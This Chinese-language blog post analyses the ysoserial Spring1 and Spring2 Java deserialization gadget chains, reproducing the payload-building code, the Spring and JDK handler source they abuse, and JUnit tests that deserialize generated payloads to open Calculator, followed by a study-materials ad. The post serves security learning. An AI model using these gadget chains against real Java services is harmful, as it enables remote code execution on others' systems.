Java 反序列化 ysoserial Spring

知识点

以下是两个 payload 中涉及到的知识点:

使用 TemplatesImpl 的 _bytecodes 字段存储恶意字节码,利用 newTransformer() 方法触发恶意代码执行 ,具体可以参考 Java反序列 Jdk7u21 Payload 学习笔记 中关于 TemplatesImpl 的说明

利用 AnnotationInvocationHandler 控制代理方法调用的返回值。 在 invoke() 方法中的,当 proxy class 调用的方法名不是 equals 、 toString 、 hashCode 、 annotationType 时,会从 memberValues (类型为 Map) 取 key 为 method 对应的值。因为 memberValues 是可控的,因此可以指定某个方法的返回值,具体可参考下面的代码

classAnnotationInvocationHandlerimplementsInvocationHandler,Serializable{    privatefinalClass type;    privatefinalMap memberValues;      AnnotationInvocationHandler(Class type,Map memberValues) {this.type = type;this.memberValues = memberValues;    }      publicObjectinvoke(Objectproxy, Method method,Object[] args) {Stringmember = method.getName();        Class[] paramTypes = method.getParameterTypes();// Handle Object and Annotation methodsif(member.equals("equals") && paramTypes.length ==1&&            paramTypes[0] ==Object.class)returnequalsImpl(args[0]);assertparamTypes.length ==0;if(member.equals("toString"))returntoStringImpl();if(member.equals("hashCode"))returnhashCodeImpl();if(member.equals("annotationType"))returntype;// Handle annotation member accessorsObjectresult = memberValues.get(member);    ...returnresult;    }}

利用的反序列化类为 org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider

使用到了 Spring AOP 包中 InvocationHandler ,分别为

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler

org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider

Spring1

payload 生成代码如下

publicObjectgetObject(finalStringcommand) throws Exception {// 使用 TemplatesImpl 存储恶意字节码finalObjecttemplates = Gadgets.createTemplatesImpl(command);// 使用 AnnotationInvocationHandler 创建 ObjectFactory 接口的动态代理// 并且调用 objectFactoryProxy 的 getObject() 方法会返回 templates 对象finalObjectFactory objectFactoryProxy =        Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);// 使用 ObjectFactoryDelegatingInvocationHandler 代理 Type 和 Templates 接口,返回值类型为 Type finalTypetypeTemplatesProxy = Gadgets.createProxy((InvocationHandler)                                                        Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")                                                        .newInstance(objectFactoryProxy),Type.class, Templates.class);// 使用 AnnotationInvocationHandler 创建 TypeProvider 接口的动态代理// 并且调用 typeProviderProxy 的 getType() 方法会返回 typeTemplatesProxy 对象finalObjecttypeProviderProxy = Gadgets.createMemoitizedProxy(        Gadgets.createMap("getType", typeTemplatesProxy),        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));// 创建最终反序列化对象 MethodInvokeTypeProviderfinalConstructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");// 实例化,构造方法中,会将 provider 属性的值设置为 typeProviderProxyfinalObjectmitp = mitpCtor.newInstance(typeProviderProxy,Object.class.getMethod("getClass",newClass[] {}),0);// 设置 methodName 属性的值为 newTransformerReflections.setFieldValue(mitp,"methodName","newTransformer");returnmitp;}

来看一下 MethodInvokeTypeProvider 类的 readObject() 方法

privatevoid readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {    inputStream.defaultReadObject();// methodName 的值为 newTransformer// this.provider 为代理对象,即 typeProviderProxyMethod method = ReflectionUtils.findMethod(this.provider.getType().getClass(),this.methodName);// 反射调用 this.provider 的 newTransformer 方法this.result = ReflectionUtils.invokeMethod(method,this.provider.getType());}

因为 this.provider 即 typeProviderProxy 是代理对象,因此调用 getType() 方法,会调用关联 InvocationHanlder 的 invoke() 方法,根据中提到的 AnnotationInvocationHandler 可以指定方法返回值的特性,这里会返回 typeTemplatesProxy ,接着调用其 getClass() 方法,反射查找 newTransformer 方法

下一步会反射调用 typeTemplatesProxy 的 newTransformer 方法,因为 typeTemplatesProxy 也是一个代理对象,因此会调用 ObjectFactoryDelegatingInvocationHandler 的inovke() 方法,其代码如下

privatestaticclassObjectFactoryDelegatingInvocationHandlerimplementsInvocationHandler,Serializable {privatefinalObjectFactory objectFactory;publicObjectFactoryDelegatingInvocationHandler(ObjectFactory objectFactory) {this.objectFactory = objectFactory;    }@OverridepublicObject invoke(Object proxy, Method method, Object[] args) throws Throwable {        String methodName = method.getName();if(methodName.equals("equals")) {return(proxy == args[0]);        }elseif(methodName.equals("hashCode")) {returnSystem.identityHashCode(proxy);        }elseif(methodName.equals("toString")) {returnthis.objectFactory.toString();        }try{// 最终执行代码returnmethod.invoke(this.objectFactory.getObject(), args);        }catch(InvocationTargetException ex) {throwex.getTargetException();        }    }}

根据代码可以得知,最终会执行到

returnmethod.invoke(this.objectFactory.getObject(), args);

那么这里的 objectFactory 的值是什么?

根据 payload 中的生成代码

finalObjecttemplates = Gadgets.createTemplatesImpl(command);finalObjectFactory objectFactoryProxy =        Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

值为 objectFactoryProxy ,也是一个代理对象,根据 AnnotationInvocationHandler的特性, objectFactory.getObject() 的返回值为 templates ,即最终调用的是 TemplatesImpl 的 newTransformer() 方法,触发恶意代码执行

整理一下关系

MethodInvokeTypeProvider.provider => typeProviderProxy

typeProviderProxy.getType() => AnnotationInvocationHandler.invoke() => typeTemplatesProxy

typeTemplatesProxy.newTransformer() => ObjectFactoryDelegatingInvocationHandler.invoke()

ObjectFactoryDelegatingInvocationHandler.objectFactory.getObject() => AnnotationInvocationHandler.invoke() => TemplatesImpl

精简的 Gadget chain 如下

SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()ReflectionUtils.invokeMethod()Templates(Proxy).newTransformer()AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()ObjectFactory(Proxy).getObject()AnnotationInvocationHandler.invoke()TemplatesImpl.newTransformer()

Spring2

payload 生成代码如下

publicObjectgetObject (finalStringcommand ) throws Exception {finalObjecttemplates = Gadgets.createTemplatesImpl(command);// 将 AdvisedSupport 的 target 属性值设置为 templates// AdvisedSupport 是 Spring AOP 的代理配置 managaerAdvisedSupportas=newAdvisedSupport();as.setTargetSource(newSingletonTargetSource(templates));// 使用 JdkDynamicAopProxy(实现了InvocationHandler接口) 来创建 Type 和 Templates 接口的动态代理// JdkDynamicAopProxy 的 advised 属性值为 asfinalTypetypeTemplatesProxy = Gadgets.createProxy(        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),Type.class,        Templates.class);finalObjecttypeProviderProxy = Gadgets.createMemoitizedProxy(        Gadgets.createMap("getType", typeTemplatesProxy),        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));Objectmitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));    Reflections.setFieldValue(mitp,"provider", typeProviderProxy);    Reflections.setFieldValue(mitp,"methodName","newTransformer");returnmitp;}

Spring2 和 Spring1 的反序列化过程大致相似,唯一不同的在于,这里使用了 AOP 包中另一个 ` InvocationHandler - JdkDynamicAopProxy 来创建 typeTemplatesProxy ,来看一下它的 invoke()` 方法,精简后如下

finalclassJdkDynamicAopProxyimplementsAopProxy,InvocationHandler,Serializable{    ...        privatefinalAdvisedSupport advised;    ...        publicObjectinvoke(Objectproxy, Method method,Object[] args) throws Throwable {        MethodInvocation invocation;ObjectoldProxy =null;        boolean setProxyContext =false;        TargetSource targetSource =this.advised.targetSource;        Class targetClass =null;Objecttarget =null;try{            ....                target = targetSource.getTarget();if(target !=null) {                targetClass = target.getClass();            }List chain =this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);if(chain.isEmpty()) {// 调用 target 的 method 方法retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);            }else{                ....            }            ...returnretVal;        }finally{            ....        }    }}

经过一系列判断,最后会在 this.advised.targetSource.getTarget() 对象上调用 method,根据 paylaod 生成代码,这里的 target 为 TemplatesImpl ,method 为 newTransformer,最终触发恶意代码执行

测试

@TestpublicvoidtestSpring1()throwsException{// mkdir -p /tmp/ysoserial// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "open /Applications/Calculator.app" > /tmp/ysoserial/spring1.classObjectInputStream ois =newObjectInputStream(newFileInputStream(newFile("/tmp/ysoserial/spring1.class")));    ois.readObject();}@TestpublicvoidtestSpring2()throwsException{// mkdir -p /tmp/ysoserial// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring2 "open /Applications/Calculator.app" > /tmp/ysoserial/spring2.classObjectInputStream ois =newObjectInputStream(newFileInputStream(newFile("/tmp/ysoserial/spring2.class")));    ois.readObject();}

我自己是一个从事了6年的Java全栈工程师,最近整理了一套适合2019年学习的Java\大数据资

料,从基础的Java、大数据面向对象到进阶的框架知识都有整理哦,可以来我的主页免费领取哦。

你可能感兴趣的:(Java 反序列化 ysoserial Spring)